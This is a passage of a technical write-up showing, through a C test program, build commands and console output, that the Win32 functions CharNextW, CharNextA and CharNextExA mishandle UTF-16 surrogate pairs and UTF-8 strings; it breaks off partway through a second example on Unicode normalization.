[in] CodePageThe identifier of the code page to use to check lead-byte ranges. Can be one of the code-page values provided in Code Page Identifiers, or one of the following predefined values.
Value Meaning CP_ACP 
0Use system default ANSI code page. CP_MACCP 
2Use the system default Macintosh code page. CP_OEMCP 
1Use system default OEM code page. 
CP_UTF8 denotes multi-byte character strings in
            UTF-8
            encoding.
         Caveat: both CP_ACP and
            CP_OEMCP can be equal to CP_UTF8!
        
 The documentation for the Win32 function
            CharNextW()
            states:
        
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.The MSDN article Surrogates and Supplementary Characters states:[…]
[…]LPWSTR CharNextW( [in] LPCWSTR lpsz );This function works with default "user" expectations of characters when dealing with diacritics. For example: A string that contains U+0061 U+030a "LATIN SMALL LETTER A" + "COMBINING RING ABOVE" — which looks like "å", will advance two code points, not one. A string that contains U+0061 U+0301 U+0302 U+0303 U+0304 — which looks like "á̂̃̄", will advance five code points, not one, and so on.
[…]OUCH⁰: surrogates are but 16-bit code units, and surrogate pairs consisting of two 16-bit code units represent single code points!CharNext()andCharPrev()move by 16-bit code points, not by surrogate pairs.Note
Standalone surrogate code points have either a high surrogate without an adjacent low surrogate, or vice versa. These code points are invalid and are not supported. Their behavior is undefined.
 Note: a low (alias trail) surrogate
            (U+DC00 to U+DFFF) followed by a high
            (alias lead) surrogate (U+D800 to U+DBFF)
            is of course invalid too!
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifndef BLUNDER
const	WCHAR	szWide[] = L"\xFEFF \xD83D\xDE12 \xD83C\xDDEA\xD83C\xDDFA a\x030A a\x0301\x0302\x0303\x0304";
#elif BLUNDER == 1
const	WCHAR	szWide[] = L"\xFEFF \xDE12\xD83D \xDDEA\xD83C\xDDFA\xD83C a\x030A a\x0301\x0302\x0303\x0304";
#else
const	WCHAR	szWide[] = L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\n";
#endif
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	UINT	uiWide;
	UINT	uiANSI;
	CHAR	szANSI[264];
	LPCSTR	lpANSI;
	LPCVOID	lpLast;
	LPCWSTR	lpWide;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		PrintConsole(hError,
		             L"%tu UTF-16 code units:\n",
		             sizeof(szWide) / sizeof(*szWide));
		for (uiWide = 0U; uiWide < sizeof(szWide) / sizeof(*szWide); uiWide++)
			PrintConsole(hError,
			             L" %04hX",
			             szWide[uiWide]);
		PrintConsole(hError,
		             L"\n\n");
		for (lpWide = szWide, uiWide = 0U;
		     lpWide = CharNext(lpLast = lpWide), lpWide != lpLast;
		     uiWide++)
			PrintConsole(hError,
			             L"%tu code units at offset %tu\n",
			             lpWide - lpLast, -(szWide - lpLast));
		PrintConsole(hError,
		             L"CharNextW() enumerated %u characters in %tu code units\n",
		             uiWide, sizeof(szWide) / sizeof(*szWide));
		uiANSI = WideCharToMultiByte(CP_UTF8,
		                             WC_ERR_INVALID_CHARS,
		                             szWide, sizeof(szWide) / sizeof(*szWide),
		                             szANSI, sizeof(szANSI),
		                             (LPCCH) NULL, (LPBOOL) NULL);
		if (uiANSI == 0U)
			PrintConsole(hError,
			             L"WideCharToMultiByte() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			PrintConsole(hError,
			             L"\n"
			             L"WideCharToMultiByte() converted %tu UTF-16 code units to %u UTF-8 code units:\n",
			             sizeof(szWide) / sizeof(*szWide), uiANSI);
			lpANSI = szANSI;
			do
				PrintConsole(hError,
				             L" %02X",
				             *lpANSI++);
			while (--uiANSI);
			PrintConsole(hError,
			             L"\n\n");
			if ((GetACP() != CP_UTF8)
			 || (GetOEMCP() != CP_UTF8))
			{
				for (lpANSI = szANSI, uiANSI = 0U;
				     lpANSI = CharNextExA(CP_UTF8, lpLast = lpANSI, 0UL), lpANSI != lpLast;
				     uiANSI++)
					PrintConsole(hError,
					             L"%tu code units at offset %tu\n",
					             lpANSI - lpLast, -(szANSI - lpLast));
				PrintConsole(hError,
				             L"CharNextExA() enumerated %u characters\n",
				             uiANSI);
			}
			else
			{
				for (lpANSI = szANSI, uiANSI = 0U;
				     lpANSI = CharNextA(lpLast = lpANSI), lpANSI != lpLast;
				     uiANSI++)
					PrintConsole(hError,
					             L"%tu code units at offset %tu\n",
					             lpANSI - lpLast, -(szANSI - lpLast));
				PrintConsole(hError,
				             L"CharNextA() enumerated %u characters\n",
				             uiANSI);
			}
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/J /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(72) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR' blunder.c(72) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *' blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
19 UTF-16 code units: FEFF 0020 D83D DE12 0020 D83C DDEA D83C DDFA 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 2 code units at offset 1 1 code units at offset 3 2 code units at offset 4 2 code units at offset 6 1 code units at offset 8 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNextW() enumerated 10 characters in 19 code units WideCharToMultiByte() converted 19 UTF-16 code units to 32 UTF-8 code units: EF BB BF 20 F0 9F 98 92 20 F0 9F 87 AA F0 9F 87 BA 20 61 CC 8A 20 61 CC 81 CC 82 CC 83 CC 84 00 1 code units at offset 0 1 code units at offset 1 1 code units at offset 2 1 code units at offset 3 1 code units at offset 4 1 code units at offset 5 1 code units at offset 6 1 code units at offset 7 1 code units at offset 8 1 code units at offset 9 1 code units at offset 10 1 code units at offset 11 1 code units at offset 12 1 code units at offset 13 1 code units at offset 14 1 code units at offset 15 1 code units at offset 16 1 code units at offset 17 1 code units at offset 18 1 code units at offset 19 1 code units at offset 20 1 code units at offset 21 1 code units at offset 22 1 code units at offset 23 1 code units at offset 24 1 code units at offset 25 1 code units at offset 26 1 code units at offset 27 1 code units at offset 28 1 code units at offset 29 1 code units at offset 30 CharNextExA() enumerated 31 characters 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH¹: the
CharNextW()
            function fails to detect
            UTF-16
            surrogate pairs
            – it misinterprets a space character (U+0020)
            followed by a high surrogate (U+D83D,
            U+D83C), a low surrogate (U+DDEA)
            followed by a high surrogate (U+D83C) as well as a lone
            low surrogate (U+DE12, U+DDFA) as
            one character!
         Note: the surrogate pair U+D83D U+DE12
            is the Unamused Face
 emoticon 😒
            (U+1F612), and the 2 surrogate pairs
            U+D83C U+DDEA U+D83C U+DDFA are the
            European Union Flag
 emoticon 🇪🇺, composed
            according to the
            ISO 3166
            2-letter
            country code
            EU with
            Regional Indicator Symbol Letter E
            (U+1F1EA) and
            Regional Indicator Symbol Letter U
            (U+1F1FA).
        
 OUCH²: contrary to the highlighted statement
            of its documentation cited above, the
            CharNextExA()
            function fails to handle
            UTF-8
            encoded multi-byte character strings at all – it mistreats
            every single byte as a character!
        
 Create the text file blunder.xml with the following
            content next to the console application blunder.exe
            built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- (C)opyright 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <application xmlns='urn:schemas-microsoft-com:asm.v3'>
        <windowsSettings>
            <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
        </windowsSettings>
    </application>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
        <application>
            <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
        </application>
    </compatibility>
    <description>Blunder Console Application</description>
</assembly>application is (at least) clumsy and error-prone!
         Embed the
            application manifest
            blunder.xml created in step 4. in the console
            application blunder.exe built in step 2.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe modified in
            step 5. and evaluate its exit code:
        
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 10.0.22621.1105] 19 UTF-16 code units: FEFF 0020 D83D DE12 0020 D83C DDEA D83C DDFA 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 2 code units at offset 1 1 code units at offset 3 2 code units at offset 4 2 code units at offset 6 1 code units at offset 8 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNextW() enumerated 10 characters in 19 code units WideCharToMultiByte() converted 19 UTF-16 code units to 32 UTF-8 code units: EF BB BF 20 F0 9F 98 92 20 F0 9F 87 AA F0 9F 87 BA 20 61 CC 8A 20 61 CC 81 CC 82 CC 83 CC 84 00 1 code units at offset 0 1 code units at offset 1 1 code units at offset 2 1 code units at offset 3 1 code units at offset 4 1 code units at offset 5 1 code units at offset 6 1 code units at offset 7 1 code units at offset 8 1 code units at offset 9 1 code units at offset 10 1 code units at offset 11 1 code units at offset 12 1 code units at offset 13 1 code units at offset 14 1 code units at offset 15 1 code units at offset 16 1 code units at offset 17 1 code units at offset 18 1 code units at offset 19 1 code units at offset 20 1 code units at offset 21 1 code units at offset 22 1 code units at offset 23 1 code units at offset 24 1 code units at offset 25 1 code units at offset 26 1 code units at offset 27 1 code units at offset 28 1 code units at offset 29 1 code units at offset 30 CharNextA() enumerated 31 characters 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH³: contrary to the highlighted statement of its documentation cited above, the
CharNextA()
            function fails to handle
            UTF-8
            encoded multi-byte character strings at all – it mistreats
            every single byte as a character!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(72) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR' blunder.c(72) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *' blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code to demonstrate the
            bugs:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
19 UTF-16 code units: FEFF 0020 DE12 D83D 0020 DDEA D83C DDFA D83C 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 1 code units at offset 1 2 code units at offset 2 1 code units at offset 4 2 code units at offset 5 2 code units at offset 7 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNext() enumerated 10 characters in 19 code units WideCharToMultiByte() returned error 1113 0x459 (WIN32: 1113 ERROR_NO_UNICODE_TRANSLATION) -- 1113 (1113) Error message text: No mapping for the Unicode character exists in the target multi-byte code page. CertUtil: -error command completed successfully.OUCH³: with high and low surrogates swapped, thus creating an invalid
UTF-16
            character string, the
            CharNextW()
            function detects surrogate pairs– it was apparently written by an absolute beginner who probably sorted low surrogates (
U+DC00 to U+DFFF) due to their higher
            numerical value before high surrogates (U+D800 to
            U+DBFF) or was confused by Windows’
            little endian byte-order which places low(er)-order bytes before
            high(er)-order bytes, and most obviously never
            tested!
         Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined as 0:
        
CL.EXE /DBLUNDER=0 blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(72) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR' blunder.c(72) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *' blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code to demonstrate the
            bugs:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
124 UTF-16 code units:
 20AC 201A 0192 201E 2026 2020 2021 02C6 2030 0160 2039 0152 017D 2018 2019 201C 201D 2022 2013 2014 02DC 2122 0161 203A 0153 017E 0178 00A0 00A1 00A2 00A3 00A4 00A5 00A6 00A7 00A8 00A9 00AA 00AB 00AC 00AD 00AE 00AF 00B0 00B1 00B2 00B3 00B4 00B5 00B6 00B7 00B8 00B9 00BA 00BB 00BC 00BD 00BE 00BF 00C0 00C1 00C2 00C3 00C4 00C5 00C6 00C7 00C8 00C9 00CA 00CB 00CC 00CD 00CE 00CF 00D0 00D1 00D2 00D3 00D4 00D5 00D6 00D7 00D8 00D9 00DA 00DB 00DC 00DD 00DE 00DF 00E0 00E1 00E2 00E3 00E4 00E5 00E6 00E7 00E8 00E9 00EA 00EB 00EC 00ED 00EE 00EF 00F0 00F1 00F2 00F3 00F4 00F5 00F6 00F7 00F8 00F9 00FA 00FB 00FC 00FD 00FE 00FF 0000
1 code units at offset 0
1 code units at offset 1
1 code units at offset 2
1 code units at offset 3
1 code units at offset 4
1 code units at offset 5
1 code units at offset 6
1 code units at offset 7
1 code units at offset 8
1 code units at offset 9
1 code units at offset 10
1 code units at offset 11
1 code units at offset 12
1 code units at offset 13
1 code units at offset 14
1 code units at offset 15
1 code units at offset 16
1 code units at offset 17
1 code units at offset 18
1 code units at offset 19
1 code units at offset 20
1 code units at offset 21
1 code units at offset 22
1 code units at offset 23
1 code units at offset 24
1 code units at offset 25
1 code units at offset 26
1 code units at offset 27
1 code units at offset 28
1 code units at offset 29
1 code units at offset 30
1 code units at offset 31
1 code units at offset 32
1 code units at offset 33
1 code units at offset 34
1 code units at offset 35
1 code units at offset 36
1 code units at offset 37
1 code units at offset 38
1 code units at offset 39
1 code units at offset 40
1 code units at offset 41
1 code units at offset 42
1 code units at offset 43
1 code units at offset 44
1 code units at offset 45
1 code units at offset 46
1 code units at offset 47
1 code units at offset 48
1 code units at offset 49
1 code units at offset 50
1 code units at offset 51
1 code units at offset 52
1 code units at offset 53
1 code units at offset 54
1 code units at offset 55
1 code units at offset 56
1 code units at offset 57
1 code units at offset 58
1 code units at offset 59
1 code units at offset 60
1 code units at offset 61
1 code units at offset 62
1 code units at offset 63
1 code units at offset 64
1 code units at offset 65
1 code units at offset 66
1 code units at offset 67
1 code units at offset 68
1 code units at offset 69
1 code units at offset 70
1 code units at offset 71
1 code units at offset 72
1 code units at offset 73
1 code units at offset 74
1 code units at offset 75
1 code units at offset 76
1 code units at offset 77
1 code units at offset 78
1 code units at offset 79
1 code units at offset 80
1 code units at offset 81
1 code units at offset 82
1 code units at offset 83
1 code units at offset 84
1 code units at offset 85
1 code units at offset 86
1 code units at offset 87
1 code units at offset 88
1 code units at offset 89
1 code units at offset 90
1 code units at offset 91
1 code units at offset 92
1 code units at offset 93
1 code units at offset 94
1 code units at offset 95
1 code units at offset 96
1 code units at offset 97
1 code units at offset 98
1 code units at offset 99
1 code units at offset 100
1 code units at offset 101
1 code units at offset 102
1 code units at offset 103
1 code units at offset 104
1 code units at offset 105
1 code units at offset 106
1 code units at offset 107
1 code units at offset 108
1 code units at offset 109
1 code units at offset 110
1 code units at offset 111
1 code units at offset 112
1 code units at offset 113
1 code units at offset 114
1 code units at offset 115
1 code units at offset 116
1 code units at offset 117
1 code units at offset 118
1 code units at offset 119
1 code units at offset 120
1 code units at offset 121
1 code units at offset 122
CharNextW() enumerated 123 characters in 124 code units
WideCharToMultiByte() converted 124 UTF-16 code units to 264 UTF-8 code units:
 E2 82 AC E2 80 9A C6 92 E2 80 9E E2 80 A6 E2 80 A0 E2 80 A1 CB 86 E2 80 B0 C5 A0 E2 80 B9 C5 92 C5 BD E2 80 98 E2 80 99 E2 80 9C E2 80 9D E2 80 A2 E2 80 93 E2 80 94 CB 9C E2 84 A2 C5 A1 E2 80 BA C5 93 C5 BE C5 B8 C2 A0 C2 A1 C2 A2 C2 A3 C2 A4 C2 A5 C2 A6 C2 A7 C2 A8 C2 A9 C2 AA C2 AB C2 AC C2 AD C2 AE C2 AF C2 B0 C2 B1 C2 B2 C2 B3 C2 B4 C2 B5 C2 B6 C2 B7 C2 B8 C2 B9 C2 BA C2 BB C2 BC C2 BD C2 BE C2 BF C3 80 C3 81 C3 82 C3 83 C3 84 C3 85 C3 86 C3 87 C3 88 C3 89 C3 8A C3 8B C3 8C C3 8D C3 8E C3 8F C3 90 C3 91 C3 92 C3 93 C3 94 C3 95 C3 96 C3 97 C3 98 C3 99 C3 9A C3 9B C3 9C C3 9D C3 9E C3 9F C3 A0 C3 A1 C3 A2 C3 A3 C3 A4 C3 A5 C3 A6 C3 A7 C3 A8 C3 A9 C3 AA C3 AB C3 AC C3 AD C3 AE C3 AF C3 B0 C3 B1 C3 B2 C3 B3 C3 B4 C3 B5 C3 B6 C3 B7 C3 B8 C3 B9 C3 BA C3 BB C3 BC C3 BD C3 BE C3 BF 00
1 code units at offset 0
1 code units at offset 1
1 code units at offset 2
1 code units at offset 3
1 code units at offset 4
1 code units at offset 5
1 code units at offset 6
1 code units at offset 7
1 code units at offset 8
1 code units at offset 9
1 code units at offset 10
1 code units at offset 11
1 code units at offset 12
1 code units at offset 13
1 code units at offset 14
1 code units at offset 15
1 code units at offset 16
1 code units at offset 17
1 code units at offset 18
1 code units at offset 19
1 code units at offset 20
1 code units at offset 21
1 code units at offset 22
1 code units at offset 23
1 code units at offset 24
1 code units at offset 25
1 code units at offset 26
1 code units at offset 27
1 code units at offset 28
1 code units at offset 29
1 code units at offset 30
1 code units at offset 31
1 code units at offset 32
1 code units at offset 33
1 code units at offset 34
1 code units at offset 35
1 code units at offset 36
1 code units at offset 37
1 code units at offset 38
1 code units at offset 39
1 code units at offset 40
1 code units at offset 41
1 code units at offset 42
1 code units at offset 43
1 code units at offset 44
1 code units at offset 45
1 code units at offset 46
1 code units at offset 47
1 code units at offset 48
1 code units at offset 49
1 code units at offset 50
1 code units at offset 51
1 code units at offset 52
1 code units at offset 53
1 code units at offset 54
1 code units at offset 55
1 code units at offset 56
1 code units at offset 57
1 code units at offset 58
1 code units at offset 59
1 code units at offset 60
1 code units at offset 61
1 code units at offset 62
1 code units at offset 63
1 code units at offset 64
1 code units at offset 65
1 code units at offset 66
1 code units at offset 67
1 code units at offset 68
1 code units at offset 69
1 code units at offset 70
1 code units at offset 71
1 code units at offset 72
1 code units at offset 73
1 code units at offset 74
1 code units at offset 75
1 code units at offset 76
1 code units at offset 77
1 code units at offset 78
1 code units at offset 79
1 code units at offset 80
1 code units at offset 81
1 code units at offset 82
1 code units at offset 83
1 code units at offset 84
1 code units at offset 85
1 code units at offset 86
1 code units at offset 87
1 code units at offset 88
1 code units at offset 89
1 code units at offset 90
1 code units at offset 91
1 code units at offset 92
1 code units at offset 93
1 code units at offset 94
1 code units at offset 95
1 code units at offset 96
1 code units at offset 97
1 code units at offset 98
1 code units at offset 99
1 code units at offset 100
1 code units at offset 101
1 code units at offset 102
1 code units at offset 103
1 code units at offset 104
1 code units at offset 105
1 code units at offset 106
1 code units at offset 107
1 code units at offset 108
1 code units at offset 109
1 code units at offset 110
1 code units at offset 111
1 code units at offset 112
1 code units at offset 113
1 code units at offset 114
1 code units at offset 115
1 code units at offset 116
1 code units at offset 117
1 code units at offset 118
1 code units at offset 119
1 code units at offset 120
1 code units at offset 121
1 code units at offset 122
1 code units at offset 123
1 code units at offset 124
1 code units at offset 125
1 code units at offset 126
1 code units at offset 127
1 code units at offset 128
1 code units at offset 129
1 code units at offset 130
1 code units at offset 131
1 code units at offset 132
1 code units at offset 133
1 code units at offset 134
1 code units at offset 135
1 code units at offset 136
1 code units at offset 137
1 code units at offset 138
1 code units at offset 139
1 code units at offset 140
1 code units at offset 141
1 code units at offset 142
1 code units at offset 143
1 code units at offset 144
1 code units at offset 145
1 code units at offset 146
1 code units at offset 147
1 code units at offset 148
1 code units at offset 149
1 code units at offset 150
1 code units at offset 151
1 code units at offset 152
1 code units at offset 153
1 code units at offset 154
1 code units at offset 155
1 code units at offset 156
1 code units at offset 157
1 code units at offset 158
1 code units at offset 159
1 code units at offset 160
1 code units at offset 161
1 code units at offset 162
1 code units at offset 163
1 code units at offset 164
1 code units at offset 165
1 code units at offset 166
1 code units at offset 167
1 code units at offset 168
1 code units at offset 169
1 code units at offset 170
1 code units at offset 171
1 code units at offset 172
1 code units at offset 173
1 code units at offset 174
1 code units at offset 175
1 code units at offset 176
1 code units at offset 177
1 code units at offset 178
1 code units at offset 179
1 code units at offset 180
1 code units at offset 181
1 code units at offset 182
1 code units at offset 183
1 code units at offset 184
1 code units at offset 185
1 code units at offset 186
1 code units at offset 187
1 code units at offset 188
1 code units at offset 189
1 code units at offset 190
1 code units at offset 191
1 code units at offset 192
1 code units at offset 193
1 code units at offset 194
1 code units at offset 195
1 code units at offset 196
1 code units at offset 197
1 code units at offset 198
1 code units at offset 199
1 code units at offset 200
1 code units at offset 201
1 code units at offset 202
1 code units at offset 203
1 code units at offset 204
1 code units at offset 205
1 code units at offset 206
1 code units at offset 207
1 code units at offset 208
1 code units at offset 209
1 code units at offset 210
1 code units at offset 211
1 code units at offset 212
1 code units at offset 213
1 code units at offset 214
1 code units at offset 215
1 code units at offset 216
1 code units at offset 217
1 code units at offset 218
1 code units at offset 219
1 code units at offset 220
1 code units at offset 221
1 code units at offset 222
1 code units at offset 223
1 code units at offset 224
1 code units at offset 225
1 code units at offset 226
1 code units at offset 227
1 code units at offset 228
1 code units at offset 229
1 code units at offset 230
1 code units at offset 231
1 code units at offset 232
1 code units at offset 233
1 code units at offset 234
1 code units at offset 235
1 code units at offset 236
1 code units at offset 237
1 code units at offset 238
1 code units at offset 239
1 code units at offset 240
1 code units at offset 241
1 code units at offset 242
1 code units at offset 243
1 code units at offset 244
1 code units at offset 245
1 code units at offset 246
1 code units at offset 247
1 code units at offset 248
1 code units at offset 249
1 code units at offset 250
1 code units at offset 251
1 code units at offset 252
1 code units at offset 253
1 code units at offset 254
1 code units at offset 255
1 code units at offset 256
1 code units at offset 257
1 code units at offset 258
1 code units at offset 259
1 code units at offset 260
1 code units at offset 261
1 code units at offset 262
CharNextExA() enumerated 263 characters
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
        CharPrevExA()
            and
            CharPrevW()
            is left as an exercise to the reader.
         Note: an exploration of this blunder and the
            bugs with the Win32 functions
            CharNextA()
            and
            CharPrevA()
            when the system’s (global)
            ANSI
            and OEM
            code pages
            are set to 65001 alias CP_UTF8 is also left as an
            exercise to the reader.
        
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
Use the Four Defined Normalization Forms:
The Unicode Consortium has defined four normalization forms: NFC (form C), NFD (form D), NFKC (form KC), and NFKD (form KD). Each form eliminates some differences but preserves case. Win32 and the .NET Framework support all four normalization forms.[…]
The NLS enumeration type NORM_FORM supports the four standard Unicode normalization forms. Forms C and D provide canonical forms for strings. Non-canonical forms KC and KD provide further compatibility, and can reveal certain semantic equivalences that are not apparent in forms C and D. However, they do so at the expense of a certain loss of information, and generally should not be used as a canonical way to store strings.
Of the two canonical forms, form C is a "composed" form and form D is a "decomposed" form. For example, form C uses the single Unicode code point "Ä" (U+00C4), while form D uses ("A" + "¨", that is U+0041 U+0308). These render identically, because "¨" (U+0308) is a combining character. Form D can use any number of code points to represent a single code point used by form C.
If two strings are identical in either form C or form D, they are identical in the other form. Furthermore, when correctly rendered, they display indistinguishably from one another and from the original non-normalized string.
 Create the text file blunder.c with the following
            content:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define CP1252	L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\n"
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	UINT	uiANSI;
	CHAR	szANSI[333];
	WCHAR	szWide[222];
	INT	niWide;
	DWORD	dwError = ERROR_SUCCESS;
	DWORD	dwConsole;
	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
	if (hConsole == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		if (!IsNormalizedString(NormalizationC,
		                        CP1252, sizeof(CP1252) / sizeof(*CP1252)))
			PrintConsole(hConsole,
			             L"IsNormalizedString() returned error %lu\n",
			             dwError = GetLastError());
		if (!WriteConsole(hConsole, CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1, &dwConsole, NULL))
			PrintConsole(hConsole,
			             L"WriteConsole() returned error %lu\n",
			             dwError = GetLastError());
		else if (dwConsole != sizeof(CP1252) / sizeof(*CP1252) - 1)
			PrintConsole(hConsole,
			             L"WriteConsole() wrote %lu of %lu wide characters\n",
			             dwConsole, sizeof(CP1252) / sizeof(*CP1252) - 1);
		niWide = NormalizeString(NormalizationD,
		                         CP1252, sizeof(CP1252) / sizeof(*CP1252),
		                         szWide, sizeof(szWide) / sizeof(*szWide));
		if (--niWide < 0)
			PrintConsole(hConsole,
			             L"NormalizeString() returned error %lu\n",
			             dwError = GetLastError());
		else
